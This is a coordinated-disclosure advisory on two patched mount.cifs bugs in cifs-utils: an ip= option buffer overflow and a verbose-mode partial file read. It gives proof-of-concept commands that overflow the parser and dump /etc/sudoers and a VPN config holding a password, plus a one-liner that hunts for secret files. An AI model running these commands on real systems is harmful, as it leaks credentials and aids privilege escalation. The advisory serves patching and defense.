Multiple vulnerabilities in cifs-utils

We found and patched two bugs in cifs-utils, the userland tools interacting with the CIFS (SMB) Linux implementation. Both the bugs are in mount.cifs, the binary used to mount network shares from userland. One is a buffer overflow in the option parser, the other is a partial arbitrary file read due to overly verbose error messages.

Specific conditions are needed to exploit either of these, hence we consider the risk to be quite moderate but we still recommend to update to the fixed version.

Thanks to:

  • David Disseldorp from the Samba team for both patch review and help
  • The Samba security team
  • The SUSE security team
  • The cifs-utils maintainer and contributors

Attributed CVE numbers

Affected versions and platforms

  • cifs-utils version 6.14 and below

Fixed versions

Timeline

  • 2022-03-16: Buffer overflow reported to Samba security team. Proposal for fix made.
  • 2022-03-17: Bug is acknowledged by Samba team. Discussion on the patch started.
  • 2022-03-18: CVE-2022-27239 asked by SUSE team and assigned to the overflow bug
  • 2022-03-21: file disclosure bug reported with a patch to Samba team and cifs-utils maintainers. Bug is acknowledge on the same day.
  • 2022-04-27: proposed patches are merged into cifs-utils repository
  • 2022-04-29: cifs-utils 6.15 released containing both patches.

CVE-2022-29869 was assigned sometime between 2022-03-21 and 2022-04-27 by a third-party.

CVE-2022-27239

Bug report: 15025 – CVE-2022-27239: Buffer overflow in mount.cifs options parser (samba.org)

The "ip" option of mount.cifs allow one to specify which IP to connect to when mounting a network share. The user-supplied value is copied to an internal buffer via strcpy in mount.cifs.c with a previous length check. However, the check was bogus, it returned true whatever the length of the input was:

925                 case OPT_IP:
926                         if (!value || !*value) {
927                                 fprintf(stderr,
928                                         "target ip address argument missing\n");
929                         } else if (strnlen(value, MAX_ADDRESS_LEN) <=
930                                 MAX_ADDRESS_LEN) {
931                                 strcpy(parsed_info->addrlist, value);
932                                 if (parsed_info->verboseflag)
933                                         fprintf(stderr,
934                                                 "ip address %s override specified\n",
935                                                 value);
936                                 goto nocopy;
937                         } else {
938                                 fprintf(stderr, "ip address too long\n");

As man strnlen states:

DESCRIPTION
       The  strnlen()  function  returns  the number of bytes in the string pointed to by s, excluding the terminating null byte ('\0'), but at most maxlen. [...]

The check on line 929 is always true, whatever the size of value is, allowing user input larger than MAX_ADDRESS_LEN to be copied during the strcpy on line 931. The correct way of doing this check is to use a strict inferior operator rather than inferior-or-eqal.

The destination buffer size of the strcpy call can be determined as such:

mount.cifs.c:

179 struct parsed_mount_info {
                ...
188         char addrlist[MAX_ADDR_LIST_LEN];
                ...
198 };

resolve_host.h:

24 #include <arpa/inet.h>
25
26 /* currently maximum length of IPv6 address string */
27 #define MAX_ADDRESS_LEN INET6_ADDRSTRLEN
28
29 /* limit list of addresses to 16 max-size addrs */
30 #define MAX_ADDR_LIST_LEN ((MAX_ADDRESS_LEN + 1) * 16)
31
32 extern int resolve_host(const char *host, char *addrstr);

INET6_ADDRSTRLEN should be) defined to 46 on most machines so:

MAX_ADDR_LIST_LEN = (46 + 1) * 16 MAX_ADDR_LIST_LEN = 752

This can be confirmed dynamically by debugging mount.cifs:

(gdb) p sizeof(parsed_info->addrlist)
$1 = 752

By providing a string of 752 characters to the option of mount.cifs, we get the overflow:

$ sudo /usr/sbin/mount.cifs //127.0.0.1/share /mnt/share -o guest,ip=$(python -c "print('A'*752)")
*** buffer overflow detected ***: terminated
Child process terminated abnormally.

While the following run without issues:

$ sudo /usr/sbin/mount.cifs //127.0.0.1/kali /mnt/usb -o guest,ip=$(python -c "print('A'*751)")
mount error(22): Invalid argument
Refer to the mount.cifs(8) manual page (e.g. man mount.cifs) and kernel log messages (dmesg)

As you can see, the buffer overflow is both detected and mitigated. This is due to mount.cifs being compiled with GCC option -D_FORTIFY_SOURCE=2 in its Makefile. From man feature_test_macros:

_FORTIFY_SOURCE (since glibc 2.3.4)
       Defining  this  macro causes some lightweight checks to be performed to detect some buffer overflow errors when employing various string and memory manipulation functions (for example, memcpy(3), memset(3), stpcpy(3),
       strcpy(3), strncpy(3), strcat(3), strncat(3), sprintf(3), snprintf(3), vsprintf(3), vsnprintf(3), gets(3), and wide character variants thereof).  For some functions, argument consistency is  checked;  for  example,  a
       check is made that open(2) has been supplied with a mode argument when the specified flags include O_CREAT.  Not all problems are detected, just some common cases.

       If  _FORTIFY_SOURCE is set to 1, with compiler optimization level 1 (gcc -O1) and above, checks that shouldn't change the behavior of conforming programs are performed.  With _FORTIFY_SOURCE set to 2, some more check‐ing is added, but some conforming programs might fail.

       Some of the checks can be performed at compile time (via macros logic implemented in header files), and result in compiler warnings; other checks take place at run time, and result in a run-time  error  if  the  check fails.

Also, and because of how privileges are handled by mount.cifs, root execution is needed to be able to specify mount options, including the ip=. This is better explained in next bug section.

Note that root execution can be obtained via different means but we used the sudo command for our tests.

The fix was to replace the operator in the length check. We also changed the use of strcpy to strlcpy as this was the only instance of the function in the codebase.

CVE-2022-29869

Bug report: 15026 – CVE-2022-29869: Partial arbitrary file read via mount.cifs (samba.org)

In a similar fashion to the previous bug, the "credentials" option of mount.cifs can lead to sensitive file disclosure when it is used simulteanously with the "verbose" flag. This option should contain the filepath to the configuration of the mount and has a specific format. Below is an example of a legit credential file:

username=jeff
password=ThisIsTooLongToBeBruteforcedHopefully

When a credential line in the provided file is invalid, the following code is reached in mount.cifs.c:

571 static int open_cred_file(char *file_name,
 572                         struct parsed_mount_info *parsed_info)
 573 {
 ...
 637                 case CRED_UNPARSEABLE:
 638                         if (parsed_info->verboseflag)
 639                                 fprintf(stderr, "Credential formatted "
 640                                         "incorrectly: %s\n",
 641                                         temp_val ? temp_val : "(null)");

Anything after an equal sign in an invalid line is printed when the verbose flag is enabled. Such lines can be found in sensitive files. For example secure_path and rights in /etc/sudoers can be disclosed:

$ ls -l /etc/sudoers
-r--r----- 1 root root 670 Apr 20  2021 /etc/sudoers

$ sudo /usr/sbin/mount.cifs -v //127.0.0.1/share /mnt/share -o credentials=/etc/sudoers
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (ALL:ALL) ALL
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (ALL:ALL) ALL
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Password for root@//127.0.0.1/share: 
mount.cifs kernel mount options: ip=127.0.0.1,unc=\\127.0.0.1\share,user=root,pass=********
mount error(111): could not connect to 127.0.0.1Unable to find suitable address.

Or passwords in /etc/openfortivpn/config:

$ ls -l /etc/openfortivpn/config
-rw------- 1 root root 154 Aug 28  2021 /etc/openfortivpn/config

$ sudo /usr/sbin/mount.cifs -v //127.0.0.1/share /mnt/share -o credentials=/etc/openfortivpn/config
Credential formatted incorrectly: (null)
Credential formatted incorrectly: (null)
Credential formatted incorrectly:  vpn.example.org
Credential formatted incorrectly:  443
Credential formatted incorrectly:  vpnuser
Credential formatted incorrectly:  VPNpassw0rd
Password for root@//127.0.0.1/share: 
mount.cifs kernel mount options: ip=127.0.0.1,unc=\\127.0.0.1\share,user=root,pass=********
mount error(111): could not connect to 127.0.0.1Unable to find suitable address.

Such vulnerable files can be searched for on a host from a low privileged user:

$ find /etc -type f ! -readable 2>/dev/null | sudo xargs grep -RnE '=.+' 2>/dev/null
/etc/sudoers:11:Defaults        secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
/etc/sudoers:20:root    ALL=(ALL:ALL) ALL
/etc/sudoers:23:%sudo   ALL=(ALL:ALL) ALL
/etc/sudoers:30:testuser ALL=NOPASSWD: /usr/sbin/mount.cifs
[...]

Now, as you can see above, sudo rights are needed to trigger the bug. That is likely because of the following code in mount.cifs.c:

1879         if (getuid()) {
1880                 rc = check_fstab(thisprogram, mountpoint, orig_dev,
1881                                  &newopts);
1882                 if (rc)
1883                         goto assemble_exit;
1884 
1885                 orgoptions = newopts;
1886                 /* enable any default user mount flags */
1887                 parsed_info->flags |= CIFS_SETUID_FLAGS;
1888         }

In the above, if user is not root, then options stated in a fstab entry are taken instead of the ones provided on the command line. If there is no such fstab entry, the program exits before that code is even reached.

So it is needed to execute mount.cifs as root to specify what will be in the options or to control the ones in an fstab entry somehow. Note that /etc/fstab is by default read-only on a lot of distributions.

In our opinion, it is not unlikely that on some systems, the sudoers file contains a rule as such:

jeff ALL=NOPASSWD: /usr/sbin/mount.cifs

to circumvent the limitation of not being able to precise mount options from the command line. This is the type of scenarios depicted by GTFOBins. It could be used as a mean of elevating privileges or lateralize by reading sensitive files' content.